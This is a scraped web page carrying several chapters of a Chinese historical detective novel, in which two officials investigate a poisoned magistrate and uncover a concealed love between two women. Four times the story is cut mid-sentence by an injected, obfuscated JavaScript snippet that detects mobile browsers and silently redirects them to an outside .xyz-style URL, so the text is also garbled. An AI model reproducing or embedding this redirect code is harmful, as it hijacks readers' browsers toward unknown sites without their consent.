而且，既然沈暨白能想到这一点，胡氏便也有可能想到这一点。到时问讯时，其只需和官府周旋，拖延时间，待官府顶不住百姓压力，自然便会放人。那这样的话，就算她真的做了什么肮脏事情，只要明白其中道理，自然便会矢口否认。 “那如何是好？”柳如意挠了挠头，袖手旁观，可不是她能做到的事情。 沈暨白悠悠说道，“以吊唁之名，常服拜访。” 同僚过世，吊唁家属，实属人之常情，柳如意又接着问道，“可否需要我另外换身行头，装饰模样？”朝中女官寥寥无几，最近来胡平县的女官也就只有她一人，若是其以此身行头前去，必备胡府中人认出。 沈暨白想了想，摇头道，“不必了。我们前往胡府的消息，说不定还未出门，便已传到胡老爷耳中了。” 柳如意心领神会，已然明白沈暨白弦外之音，警惕地转身回头望去，刚才顾着去整理线索，竟未听到窗棂下草垛中传来的轻微窸窣声。只见，柳如意一个箭步轻移到窗外。 还未待那人反应过来，便已将柳如意拎进屋来，随手扔在了地上。 ”你受何人指使？为何偷听我们讲话？”柳如意神色冷峻，厉声质问道。 那人一身靛青粗衣短打，衣服前后各缀了块圆形白布，上头赫然写着“役”字。 只见其忙不迭从地上爬起，跪倒在地，“大人，小人什么也未听到。只是前来瞧瞧大人还缺什么吗？需不需要帮忙？” “那为何偷偷摸摸，躲在窗外？“柳如意冷笑中，眼中竟是嘲讽，“莫不是将我当傻子，竟拿这种借口揶揄我？” 小吏哆嗦着身体，整个人直接俯首在地上，不停磕头，颤颤巍巍道，“小人不敢，是真的怕叨扰到两位大人。” “罢了，你先退下吧。”沈暨白见小吏额头已然血流不止，忧心若是继续磕下去，恐有性命之危。 那人得了令后，感激涕零，匆忙叩谢完两位后，起身欲离去。 这时，背后传来冷冷一声，“我沈某向来不是良善之辈，告诉那位，若是被我再发现今日类似之事，便不是如此磕头便能简单了结的。”沈暨白声音冷冽，似寒冬腊月檐角冰锥刺入身体，带着寒意痛感渗入人的四肢百骸。 那人本就受了惊，如此一吓，直接跌倒在地。 明明外头艳阳高照，屋内却是万丈冰窟，寒意刺骨。那人浑身颤栗，如今心中唯一念头便是早些逃离这个令人害怕的地方，尽管其双腿已被吓软，只得匍伏离去。其也顾不上那么多了，毕竟屋内可是两位活阎王。 待其走后，柳如意一个口哨，唤出李衡，示意其偷偷跟踪小吏。 “大人好耳力。”若是说自己陷入案件，未注意暗处藏身的小吏。那一直躲在暗处的李衡，也未发觉藏身之人。反而被一个手无寸铁之人发现，着实有些可疑？ 沈暨白扬眉浅笑，已然听出柳如意话中隐晦的试探之意，“柳大人倒是尽责……只是我自小身体孱弱，无法舞刀弄枪。家父怕我荒废日子，便寻了位师父叫我乐理。自小听多了各种声音，自然也就比常人敏感些。” 说完，见柳如意垂眸不语，微微挑眉，促狭道，“柳大人入朝为官又是为何？一介女子，选择这条路可不简单？” 柳如意闻言一哂，“缺银子。” 沈暨白漆黑眼眸如墨般深沉，嘴角依旧是浅笑，“哦？” 柳如意闻言，已知沈暨白未相信其说辞，遂转口道，“大人，是否出发前往胡府？若是耽搁下去，怕是登门已为半夜，怕是不合礼数。” 沈暨白点头，“走吧。” 胡府内，好似早已收到风声，对他们的前来并不意外。 前来迎接的是胡氏父亲胡讯。不惑之年，身材微胖，身穿一身青色绸缎云鹤图案长袍，腰间系着一条祥云纹样的玉带。其面容圆润，皮肤因常年养尊处优显得格外白净。 “总算等到大人了。”胡讯一脸谄媚，热情将两人迎进别院。 很快，府中下人便已将案上布满热茶糕点。 “两位大人，这是胡平县的特有糕点，不知合不合大人口味？” 柳如意掂起其中一块糕点，是块桂花糖蒸栗子粉糕。花瓣形状，色泽黄润，入 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15537373|170941||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 口即化，唇齿间满是桂花香气。 “大人，可以再尝尝这茶汁。” 柳如意闻言，又小啜一口清茶，茶味中和糕点的甜腻，使之更加爽口软糯，“茶糕香甜，茶水清香，果真上品。” 胡讯闻言，爽朗大笑，“那就好，听大人这么说，胡某就放心了……胡某之前还担心大人从京中来，瞧不上这儿的糕点。” 柳如意狭长的眼眸微微一眯，老狐狸终于露出尾巴，“胡老爷怎知我是从京城中来？”自己刚警告一处眼线，行踪还是暴露，看来胡讯在胡平府衙内的眼线不止一条。 胡讯不愧是老狐狸，虽说漏嘴，但是面上一些也不慌，镇定自若地笑道，“前阵子，早就听说胡平县来了两位京城中的大人，一男一女，一位英姿飒爽，一位神仪明秀，两位气质清雅矜贵，一眼便能认出。况且，老夫都在胡平县待了如此之久，县中有如此出众之人，我岂会不认识呢？” 柳如意哦了一声，“原来如此……胡老爷谬赞了。” 胡讯见沈暨白迟迟未说话，开口问道，“大人可是不喜这糕点？是否需要令人重新布上其他糕点？” 沈暨白摇摇头，顾作伤心样，“哎……胡老有所不知，我老家也在湖广一带，乡试时曾与陈牵同窗过，那时我两曾一块吃糕点，不过糕点倒没有这般精美，见此糕点，难免有些伤感。” 胡讯一脸讶异，“你和陈牵是同窗？”沈暨白景行十八年举人，陈牵亦是那年举子，时间倒是对的上。只是，陈牵既然同沈暨白同窗过，为何从未对自己提起过。 沈暨白叹气道，“说来惭愧，都怪那时年幼无知，格外好面子，因为策论一题，曾与陈郎吵得面红耳赤，我两因此闹僵。” 胡讯沉默片刻，抬眸盯着沈暨白，满是探究。 策论大吵这件事，胡讯也曾同其他同县举子提起过，只是与陈牵争吵之人，大家也未提起姓氏，只知其也为同届举人。而当时他也是当作一个酒后谈资，并未多加关注。 可是，沈暨白竟然能说出如此细微之事，其莫非当真同陈牵认识？加上，沈暨白面上全是伤痛表情，不像是表演，胡讯不由心中有些相信沈暨白说辞。“有大人如此好友，是陈牵的荣幸。” 沈暨白叹息道，“胡老也请节哀，切莫太过伤心。” 胡讯点头应到。 沈暨白脸上依旧是伤痛之态，只是话语一转，自然过渡到胡氏身上，“胡小姐可还好？夫君突然离世，想必其现在应该十分痛心吧。” 胡讯神色略微一怔，随即立马点头道，眼中满是担忧色，“近期小女茶饭不思，甚是消瘦。” 沈暨白同情道，“能否方便让我见下胡小姐？一是作为故人之友，还未见过嫂子，故想登门一见。二是故友去世，作为好友，理应宽慰嫂子……” 胡讯这会表情没有迟疑，摇手唤来一位小厮，“带两位大人前去见见小姐。” 21. 可疑之人 “两位大人，这处庭院便是胡小姐住的地方--湘芸阁。”带路小厮开口说道。 柳如意点了点头，环顾四周，似不经意问起，“小姐出嫁多时，没想到院中草木竟还是如此生机？倒是没有一点儿荒废破旧感。” 小厮摇头道，“此处庭院虽然偏了些，因为小姐时不时会回来居住，故老爷会时不时差人前来清扫庭院，修剪植株。前阵子，老爷听说小姐收整完那边事情，要赶回来长住，连忙差人将庭院里外都打扫了一遍，就连院中丫鬟也全都换新了，说是怕小姐遇见旧人旧事，触景生情，故还望两位大人，待会少提些姑爷的事情，怕徒增小姐伤心。” 柳如意礼貌地点了点头，接着问道，“胡小姐最近回来住的？” 小厮点头答道，“就是前两天。” 立于庭院内的沈暨白闻言，双眸一眯，嘴角浅浅勾起一丝讽刺的笑意。 “大人，容我进去回禀一声。” 柳如意点了点头。 很快，里头出来一人，将人迎了进去。 胡氏坐在红木椅上，圆目可爱，杏脸柳眉，身穿素色绸缎长裙，或是身体消瘦的原因，衣服显得稍微有些松垮。 “两位大人，请喝茶。”胡氏端起蓝白茶瓯，轻啜道。 柳如意偷偷瞥了眼胡氏，只见她的脸上虽施了层妆，却难掩疲倦之色。端茶那只手轻轻颤抖，另一侧手指轻轻抠着衣服，有些局促不安之感。 “听闻大人是先夫同窗，今日前来吊唁，胡氏在此谢过两位大人。”似是有说起伤心事，胡氏又拿起怀中粉色丝锻方帕，掩面抽泣。 “夫人节哀顺变，注意保重身体。”柳如意柔声劝道。 好不容易待胡氏停止抽泣。 沈暨白才悠悠开口道，“夫人，另有件事，我觉得夫人理应知情。” 胡氏又紧了紧力气，用手攥着衣服一处，“何事？” “事关陈大人真实死因。” 胡氏如同晴天霹雳般，瞳孔惊得老大，“怎么会？”或是早已接受陈牵“做过死”死因，面上满是不信。 沈暨白声音平淡，缓缓说道，“上头觉得陈牵死因太过离谱，确又蹊跷，便令我两前来胡平县，彻查陈牵死因。”上头来的是秘旨，故他俩前来胡平县的真实原因，只有他俩，或者偷盗官银的人才知道。 柳如意偷偷瞥了眼胡氏神情，只见其脸上仍是错愕，口中喃喃道，“怎么可能？不是大家亲眼所见吗？” 柳如意摇了摇头，语气沉静如水，“验尸结果表明其为他人所害，砒霜中毒而亡。” 闻言，胡氏瞳孔微微一缩，整个人似有疯癫之妆，大笑道，“做过死，还是死于非命？重要吗？他就该死。” 柳如意心下一凛，果真胡氏有问题，难道陈牵死因跟他有关？又是她偷拿了官银？可是她要那么多官银干嘛？ “你很恨他？” 胡氏站起身来，脸上挂着似笑非笑的表情，令人生怖，“恨之入骨！陈牵就是个道貌岸然的伪君子，装模作样取得父亲信任，花言巧语引我欢心。” 似前头用力过猛，有些上气不接下气，她又深吸一口气，以平复内心愤怒，接着说下去，不过这会没有之前那般愤懑，“婚后，刚开始，他还会做做表面功夫，同我相敬如宾，对我客客气气……约莫一年半载，他也不装了，直接夜宿醉红楼，夜夜笙歌。而且，那混账……” 说到这，胡氏语气有些凝噎，眼神中满是愤意，“那混账……竟然……趁醉酒强占……我贴身丫鬟。”最后几字似乎从口中挤压而出，带着咬牙切齿地恨。 柳如意闻言，自然明白其中感情。 在大乾，凡是有钱有势之家，在其子女垂髫之年，都会为其挑位年纪相仿、身世干净的长随，自小伴其读书、研磨铺纸，兼顾日常饮居。 故，此种长随，同主子感情更为深厚。胡氏如此生气，也便不奇怪。 柳如意眸色深沉望着胡氏，“那是你杀了他？”尸检显示系熟人作案，胡氏了解陈牵的喜好习惯，而且她也有理由作案，因爱生恨。 胡氏眸色慢慢从混浊当中回正回来，微眯双眼，摆头道，“不是我。若是我的话，相必大人早就在公廨当中闻讯于我了。”说完，语气一转，“不过，貌似大人也还未抓到凶手。我这倒有一些线索。” 柳如意有些意外，“你不是对陈牵恨之入骨吗？为何还要将凶手线索告知于我们？” “我恨陈牵不假，但是若非那狐媚女子勾引，陈牵后来又怎会变得那般？”胡氏说这话是，眸中虽含着恨意，但是却对陈牵恨意略有不同。 随后，胡氏嗤笑道，“而且，以两位大人聪慧，相必迟早也会找出幕后真凶，不是吗？” 柳如意闻言眉头紧紧皱起，内心直觉告诉她，胡氏对那女子的恨带了其它意味，并非是夫君恩爱被抢那么简单。于是，敷衍地应了句，示意胡氏接着讲下去，“天网恢恢，触犯律条，自然难逃律法。” 胡氏抬头对上柳如意视线，可能那视线有些过于灼热，又低垂下头，接着说道，“陈大人生前甚是喜欢一青楼女子。不过，那女子向来卖艺不卖身，后来不知怎么突然就从了。” 说完，胡氏往前迈了几步，贴近两人小声说道，“听说是……醉红楼老鸨偷偷使了肮脏手段，令那女子失身于陈牵。” 说完，又是一声冷笑，“自那女子失身后，倒不似之前那般贞洁烈女，甚至还同陈牵一起住进府中，做个没有名分的妾室……你说，一女子前后变化如此之大，是不是有所蹊跷？” 柳如意突然想起醉红楼老鸨口中说的女子“翠娟”，震惊问道，“是谁 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15537374|170941||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ？” “翠娟。” 果然是她！她竟然住进陈府，那么府中那位疯癫的女子是否就是翠娟？ 柳如意接着问道，“那她还在府中吗？” 胡氏笑道，“陈牵死后，府中那些女人拿着东西全跑了。至于她嘛？怕是也早跑了吧！” 柳如意咂舌，怔在那儿思索胡氏话中真假。 “夫人，沈某还有一点疑问。”得到胡氏同意后，沈暨白又开口问道，“夫人为何会买陈牵手中的假画？” 胡氏明显有些意外，短暂错愕后，笑着答道，“毕竟他明面上还是胡家的女婿，典当假画，这要是传出去了，岂不是令家父蒙羞。” 沈暨白追问道，“既然陈牵做了许多混账事，为何夫人不和离？”胡氏为胡府嫡女，就算和离，日子应该也不至于像陈府那般糟糕。 “和离？”胡氏嘲讽笑道，“这世道对女子向来格外苛刻。” “胡氏的话，你觉得几分真假？”沈暨白自厢板内取出一鎏金兽首香炉，放置矮桌之上，火上设银叶，制如盘形，以之衬香。顿时，车厢内被股清冽的香气笼罩。 柳如意头靠在车厢内悬着丝锻隐囊上，清香扑鼻而来，顿时令其混沌的头脑变得清明许多，“不知……但能确定一点，胡氏并不爱陈牵。这样一来，她对翠娟的恨意绝非丈夫被抢那般，定有所隐瞒。” 若为一般人，得知丈夫并非死于做过死，不是欣慰，第一反应竟是震惊，这一点着实令人奇怪；其外，引路小厮也曾说过，胡氏新婚后，会时不时回胡府短住，这说明其实两人感情也并非很好。 柳如意揉了揉眉心，接着说道，“还有，一点很奇怪……我感觉胡氏说‘这世间对女子格外苛刻’这句时，似乎是在同另一人对话……眼神有些怜悯……似乎说的不是她……” 沈暨白点头道，“那待会去府衙？看看是否翠娟的卷宗？” 柳如意眉头微蹙，试探道，“大人，是打算去府衙查完身份信息后，又前去醉红楼？” 沈暨白点头说了个嗯字。 柳如意急忙求饶道，“大人，这样一来，算上车程，少说还需两三时辰。如今天色已晚，要不我们明天再查？下官脑袋如今一片混沌，实在转不动一点……” 沈暨白闻言侧过头，见其满眼疲倦，整人完全瘫坐车厢当中，打趣道，“也好，来胡平县这么久，也未好好尝一尝当地美酒佳肴。那你先和车夫先行回县衙休息，我有些饿了……” 听到美食，柳如意眼神一下亮了起来，整个人立马端坐了起来，“大人，我也去。” “你不是累了吗？” 柳如意笑哂哂道，“一想到案子未破，难免心理堵着慌。只不过，大人，吃饱了才有力气干活，对吧？” 沈暨白柔声笑道，“去云霄阁。” 22. 疯癫之人 云霄阁，坐落在太常湖一角。朱红门面，绿油栏杆。湖面常年泛起水汽将云霄阁笼罩在一片氤氲之中。 店小二肩搭白巾，在门口吆喝道，“客官，瞧一瞧，看一看。我们这美酒佳肴，品茶听曲，应有尽有，保你尽兴而归。” 柳如意刚下马车，便被一热情店小二拉进云霄阁中。 “两位客官，需要吃些什么？”店小二殷勤问道。 “来三俩个店中招牌，外加一壶好酒。”柳如意爽朗答道。 “好嘞。”店小二乐颠颠道，“两位客官，那鲜鲤之脍、桂花糖藕、烧猪头肉各来一份，桂花酿一壶，可好？” 柳如意点了点头，问道，“再来个下酒菜。” 店小二笑道，“好，那就鳢鱼脯。过饭下酒，甚是美味。” “客官，这些菜品约莫还需要等上一柱香。”店小二边说着，边将糕点摆上案几上，“这些是本阁免费的糕点，等菜时，客官可边吃糕点边听曲，保证不会让两位觉得无聊。” 见沈暨白、柳如意没有其他什么吩咐，小二笑道，“客官若有其他吩咐，可以招手示意，小的先退下了。” “好。” 见柳如意点了点头，小二立马重新没入人群中，转身招呼其他客人去。 沈暨白见桌上的桂花酒，勾起笑了笑，“今儿心情不错？” “美酒佳肴，没有美酒哪叫佳肴？”柳如意挠了挠头，讪讪笑道，“而且如今也是赏桂时节，配上桂花酿，甚是应景。大人要不要来杯？”说着，便提起酒壶，欲给沈暨白斟上一杯。 沈暨白摆头推辞，“不胜酒力。”随后便转头环顾四周，只见阁中搭了个简易台子，供伶人奏戏、唱曲、弹琴所用。 这时，戏台上正演着《断袖记》中西汉汉哀帝割断衣袖一幕。 “惑主误国，有伤风化。”一布衣书生开口斥责道。 “董贤柔媚惑主，令主上昏庸，实为大不幸。”另一位中年青衣男子随声附和。 沈暨白捻起块藤萝饼，入口即化，冷香饶舌、满口沁心。 觉得不错，遂又拿起一块，边吃边听看客评说。 无独有偶，左右不过都是些“淫邪之报，伤风败俗”谩骂。 柳如意见沈暨白听着起劲，欲开口评论一番，店小二已然端着菜肴走来。 “客官，此菜名为鲜鲤之脍，取生鲤片之，加生姜片许、生醋几勺、鲜橙几滴雨，饰其腥味。未炙未烫，保留生鱼嫩滑及鲜美口感。” 柳如意接过店小二递来的筷箸，夹了一片，只见鱼片縠薄丝缕，轻可吹起，近乎透明。入口竟无鱼之腥臭，满是鲜甜爽滑。 “不错……”柳如意竖起拇指，连声夸道。 “客官，此菜名为桂花糖藕……”店小二又将剩余的菜品一一摆上桌来，逐一介绍后，便又去招呼其他客人了。 柳如意吃的正起劲，突然感觉衣角似乎被人扯着，遂转过头去，原是一蓬头垢面的老妪。 那人衣衫褴褛，眼神游离混沌，杵着一个烂木拐杖，与繁华酒楼格格不入，仿佛一飘动的幽灵。 “阿婆？”柳如意轻轻唤了声。 “不是我的阮阮……”老妪悲伤摇头喃喃道。失望地放下了紧拽衣袍的手，转身离去。本被拽紧的衣角因倏然失力，毫无生气地耷拉在地上。 “怕是子女离散，伤心所致……”柳如意叹了口气，人生苦楚未免太苦，生老病死，爱别离，或许那位老妪都正在经受。 想到这里，柳如意连忙抓起桌上的甜点，起身追寻老妪身影。 可奈何云霄阁生意火爆，宾客来来往往，老妪似是没入人流当中，销声匿迹。顿时，如球泄气般，柳如意低垂下头来，手无力拎着糕点，欲重回席中坐下。 这时，身后传来一阵骚动，似有争吵声。 柳如意拨开人群，探头望去，是那个老妪。只见其举起破旧拐杖，指着一瘦弱书生，“不是这样的？迂腐。”老妪腿脚本就落疾，如今因为气愤，身体更加颤栗厉害。 “他俩就是违背伦理纲常……”书生也毫不示弱，往前又走了步，胸口顶着拐杖反驳道。 “迂腐至极……”老妪眸子已然泛红，气得直打哆嗦。 眼看两人就要打起来，闻声而来的店小二急忙拨开书生面前的拐杖，隔开了两人。只见其笑脸向书生赔罪后，便好颜架着老妪离开了云霄阁。 “阿婆……”柳如意喊了声，欲将手中的糕点递给她。可是，她却同听不见般，头也不回，颤颤巍巍离去。 一旁的店小二见状，“别追了，那老婆子怪的很，也不会要你这些东西的。” 柳如意纳闷，问道，“你认识那阿婆？” 店小二摇了摇头，“不认识，倒是听来这吃酒的客官提起过。” “听说……她曾是胡平县有名大户人家的乳娘，后来那家犯事被抄了家。而她，因为精神不太正常，被那家提前赶了出来，这才逃过一劫。”店小二叹了口气，“可惜，她孓孓一人，无儿无女，县中有没有一两个亲戚照拂一二，如今这精神看着……更加疯癫，这逃过一劫又有何用呢？” 柳如意也叹了口气，丧气地拎着糕点又重新回到座上。 “出去一趟，怎么跟丢了魂一般？”沈暨白见柳如意低垂眸子，神情失落，问道。 柳如意将刚才的事情一五一十说了遍。 只见沈暨白眉头紧锁，良久才说句，“我大抵知道了。”说着，又附身在柳如意耳边小声吩咐，“你派人……” 柳如意“嗯”了句，满脸不解，“大人，为何要这样？” 沈暨白道，“ ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15537375|170941||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 明日你便知道了。”说着，又给柳如意斟了杯桂花酒，“吃饭吧。” 一杯桂花酿下肚，柳如意顿然觉得舒畅了不少。 饭足酒酣后，柳如意拍了拍肚子，见沈暨白早已搁下筷子，遂问道，“大人，那咱们回府衙查卷宗？”毕竟吃了顿白饭，不替人干些事情，有些羞赧。 沈暨白斜眼扫了眼柳如意，见其因喝了些小酒，脸色带着点绯红，眼神也因此变得有些迷离，无奈地叹了口气，“明日再说！” 翌日，东方即白，府衙外的野猫正慵懒地扒拉着被桂花掩着的黄泥。 “大人，已从库房取到了翠娟案宗。”柳如意迈着大步走来，额角不知何时已经沁了层薄汗。 沈暨白接过其手中的卷宗，从怀中掏出块丝缎兰花样式方帕，”擦擦吧。” 柳如意怔了好半响，才反应过来，接过方帕，上头还残留着沈暨白身上的淡淡木檀香味，揩干净汗后，又方方整整将帕子叠了起来，“大人，帕子待我洗净后，再归还……” 沈暨白淡淡说道，“无事，这帕子今早刚换上的，你用着吧，不必归还了……” 柳如意攥着方帕，有些烫手。 这可是京城中上好的云锦所制，布料轻薄如蝉翼，如抚春冰，凉滑无痕；其上兰花，更是出自京中著名绣楼云绫阁之手，针脚与云锦同色，细若发丝，唯触之方知非画。故，其价值不菲不说，更甚者，千金难求。 柳如意还欲开口拒绝。 沈暨白便低下头，认真看起“翠娟”的卷宗。 翠娟的卷宗很是简单，整卷下来也就廖廖几句，“翠娟，原名许阮，出生胡平县前富商之家，后家中突遭变故，委身于醉红楼卖艺。” “被人抹得干净……”沈暨白勾嘴嗤笑道。 柳如意嘴中小声喃喃道，“许阮？阮阮？”一个震惊念头在她脑中成形，“莫非老阿婆口中的阮阮就是翠娟？”同样是富裕人家，同样是“家道中落”，一个被抄，一个突遭变故。凑巧相似之处太多，很难不将两者联系在一起。 “或许是吧。”沈暨白依旧是神情淡淡点了点头。 柳如意试探问道，“那我们现在就去找阿婆，问问到底发生了什么？” 沈暨白摆头道，“你如今找到阿婆，她也不会说什么的，要说恐怕早就说了……”又吩咐道，“你先再找个人暗中保护阿婆！走，现在同我一起去陈府。” “那位疯癫的妇人？”柳如意心中已然笃定陈府那人便是翠娟。只是为何陈府管家要派人看管她呢？难道真如其口中所言，怕翠娟精神失常，致人伤残？ 她摇了摇头，事情定不似这般。管家，胡氏，老妪，到底有何联系？她们想隐藏的东西到底是什么？ 沈暨白点了点头，莫名头地来了句，“顺带再看看胡氏……” 23. 暴露身份 陈府外，一阵冷风袭过，将府邸两旁桂花吹落一地，衬着本就凋辟的府邸显得更为凄冷。 柳如意正欲伸手扣铜环，从门缝中探出一人，见是他们两位，急忙打开门，将两人迎了进去，“大人，正要去找你呢。”此人正是李衡。 柳如意纳闷道，“可是发生了什么？” “前阵子，大人不是让我密切盯梢陈府？不让任何人偷溜府去。果真，今早丑时，见她两鬼鬼祟祟，背着包裹，欲溜出府，遂我赶忙把她两给制止……”李衡将身体往旁边一侧，只见大堂内的靠椅上赫然绑着两人，嘴中被白色布条塞着。 仔细一看，那两人正是陈府管家和那个“疯癫”的“夫人”。 柳如意堪堪一笑，“也不必将两人五花大绑起来。” 李衡咧嘴尴尬一笑，“没办法，她俩之前一直大声囔囔着救命，说着要逃，就绑了……” “松了吧，别伤着两位夫人了。”沈暨白抬手示意道。 说完，沈暨白负手走到两人身边，故作疑问道，“不知道是该如何称呼你呢？李主事还是胡小姐？” 胡氏脸色一僵，讶异地望向沈暨白，“公子好生聪明，不过，公子是如何发现我的身份？” 沈暨白道，“其一，小姐手如柔荑、肤如凝脂，倒一点也没有你之前所说“曾受饥肠辘辘之苦”模样。加之你身材矮小，声音低沉粗砺，想必是在刻意隐瞒身份吧？” 沈暨白接着道，“其二，胡府“胡小姐”虽行为举止勉强得体，也有大小姐做派，只可惜，赶鸭子上架，表面功夫并未做全。其身形虽与你相仿，但你的衣服多为量体而裁，难免会有些不合身……加之，她久居宅中，见识浅薄，胆识不大，初见府衙中人，难免有些露怯。所以当时我便隐约觉得其身份有假……相必那位定是小姐的长随吧！” “至于第三点，就是疯阿婆的话，这事你比较清楚，你来说吧。”因阿婆的事情，多为柳如意所闻所见，遂沈暨白直接示意其接着说道。 “至于其三嘛……”柳如意猛然被点名，顿了顿，迅速在脑中理了理线索，清了清嗓子，接着补充道，“前阵子我们在云霄阁等候吃食时，偶遇一精神失常的阿婆，嘴里一直喃喃着‘阮阮’小名，后来听店小二说，她曾是胡平县一名大户人家的乳娘，可惜无儿无女，家中也没人照顾，才一个人疯癫在外漂泊流浪……于是，我猜这老妪口中的阮阮便是那户人家的小姐吧……” 说这话时，柳如意抬眸暗暗打量，只见其中那个疯癫“夫人”脸色在阴暗交替的光影显得更加晦暗，眸子也慢慢失焦，像是陷入某段痛苦的回忆当中一般。 柳如意挑眉，“不过话说也巧，这阮阮身世跟一个醉红楼女子翠娟很像，都是富贵人家女子，同样是“家道中落”，一个被抄，一个突遭变故，经历同样是凄惨惹人怜……而且我还听说，这翠娟脚踝处戴了个银镯。” “你说是吧？翠娟？”柳如意转头直直地望向“疯癫”妇人。 只见翠娟也猛然抬头，朝后扒拉头发，将之前被遮掩的脸孔完全漏了出来，脸如白玉，眉若弯月，一双凤眼盈盈淡淡却又媚意天成，没有否认，“大人，好眼力。只是，不知道我俩犯了什么？竟要大人如此大费周章？” 翠娟没直接说出“监视”两字，但是语气中明显有些不怏，可偏偏是江南女子独有的娇娇糯糯，让人听着，不忍怪罪，倒是心中一软，满是怜惜。 可无奈三位都不是怜香惜玉之人。 还未待柳如意开口，李衡便一扬脸，直截了当说道，“大人做事自有他的缘由，你俩二人鬼鬼祟祟半夜潜出，莫不是心中有鬼？” 翠娟微微蹙眉，双眸似泛起盈盈泪光，“不怕两位大人嘲笑，是故我俩昨夜听到宅中传来阴森怪叫，甚是害怕，这才慌不择路的准备选择离开……” 毕竟这宅子死了人，两位害怕情有可原，只是……现在才走，未免有些太过牵强。 李衡轻轻摸了摸下巴，疑问道，“那为什么之前不走？” “之前阿容一直在操办陈大人后事，打点陈府，费了不少精气神……事情也是这几天才忙完。”依旧是楚楚可怜的模样。 柳如意慢慢踱步到翠娟跟前，小声说道，“那之前你为何会被几位壮汉架着？你是不是害怕什么？没事，只要你说出来，我们定保护你的性命无虞。” 翠娟摆了摆头，“大人，误会了，只是我得了癔症，有时会精神紊乱，犯病时完全靠这些人控制，否则可能错手杀人，酿下大错。阿容那样做也完全为我好。” 见两人料定他们没有证据，沈暨白微眯双眼，“刚才我在大街上，倒是看到位卖小册子的，无事同他闲聊几句，得知曾有位长相清秀的‘公子’前两个月在他那买过册子。相必他也想再见见那位‘公子’，要不要我牵个线，将其寻来？说不定还能了他一桩心愿。” 柳如意闻之愕然，来的时候他们何时撞见了卖册子的小厮？还闲聊了几句？大人这睁眼说瞎话诈人的本领真是高明。 带砒霜的册子，是凶器……长相清秀的“小公子”，未道明男女……半真半假，话语含糊，语气却又十分硬气。 只见，翠娟重重叹了口气，朝胡氏望去，露出难为情的表情，“阿容，瞒不住了，我们还是如实招了吧？免得招官家猜疑。” 胡氏咬了咬牙，开口说道，“都是些不耻之事，怕说出来赃了大人耳朵。” 见其眸色有些惶恐，身体因害怕微微颤栗，柳如意不由放柔声语调，语气中带着轻柔安抚之意，“但说无妨。” 胡氏深吸一口气，口中缓缓吐出一句话，“我和阮娘是真心相爱的……” 柳如意愕然，瞬间明白了为何老妪听见他人诋毁汉哀帝与董贤之间感情时，反应如此激烈。原是自家主子就是磨镜。如今世道，本就对女子过于苛责，这种违背伦理纲常之事，相必定是召来不少非议，甚至谩骂。 而两人不顾世俗眼光，义无反顾在一起，如此勇气，柳如意不禁心中为其赞叹。 “我俩自小一块长大，虽不是他人口中的竹马青梅，但是感情甚笃。只是可惜，世人囿于成见，说这罔顾祖宗礼法，是为大不孝。”胡氏嗤笑道，“说来也好笑，这些人原因说不出个一二，倒喜欢张口闭口用些有违伦理、礼制不和的话来堵塞你。” 何为礼？礼者，天地之序也。她俩相爱，难道真的违背这所谓的“天地秩序”？柳如意心中思绪万千，所谓的“礼”，不过就是“上位者”定下的游戏规则，你不按既有规则来，人单势弱，自是被欺负，排斥在外。 就譬如她，虽阿爹为礼部尚书，兄长又在詹事府供职，阿姐又贵为太子妃，勉强能算个王孙贵胄吧？就是这般，也不能完全左右自身。当初贸然踏入军营，招来京中许多指点。而如今，女子身份入朝为官，供职大理寺，更是没少被人议论。 她都尚且如此，何况胡氏和翠娟呢？ “于是，秘而不宣，我俩只能将感情深埋于心。发乎于情止于礼，我俩并未做什么越轨之事……可是，就是这般，竟也被旁人说相望时眼神不干净。父亲苛责，就连平常不和的二伯、三伯也竟都在这时通同一气，指责我俩，要求斩断联系，不相往来。” 胡氏眸中泛起盈盈泪光，语气已是低哑滞涩，“难捱家族压力，我俩只能被迫分开。” “只是再闻阿阮消息时，已是许府被抄之时。那日，我不顾父亲反对，第一次顶撞了他，毅然出府去寻找阿阮……可是，我终还是迟了，等我到许府时，门上已经官府被贴上封条，阿阮也被拖至刑场……太迟了……以至于我连阿阮尸首都错过了。” 立于一旁的许阮闻言，脸上闪 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 